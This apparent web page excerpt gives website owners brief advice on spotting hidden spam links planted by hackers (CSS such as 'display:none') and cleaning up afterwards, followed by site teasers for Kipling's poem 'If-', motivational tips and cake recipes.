If you find entries in the texts of your pages or comments containing “display:none” or “height:0” or “visibility:hidden”, so you were hacked. These web links to the hackers' sites are invisible but present in the code and visible by the indexing robots. Delete these links, change your password, update your software and follow the advice in this article.
And if you notice a strange behaviour of your CMS, blog or e-commerce, take the opportunity to check that there are no new files or folders added or modified recently by installing the script described here. It may be your CMS, blog or e-commerce that did this, but it is better to be sure.
“If-” you'll be a Man…
Re-discover Rudyard Kipling's famous poem “If- you'll be a Man, my son” which has inspired so many generations. It celebrates the courage to overcome hardship.
I've decided to succeed
I have put together 10 tried and tested tips for finding the will to successfully achieve your ambitions and overcome obstacles in your personal and professional life.
Gourmet treats
Exquisite recipes for mini-cakes (madeleines, financiers, biscuits, cakes, muffins) and other delicacies (croissants, brioche, traditional cakes…).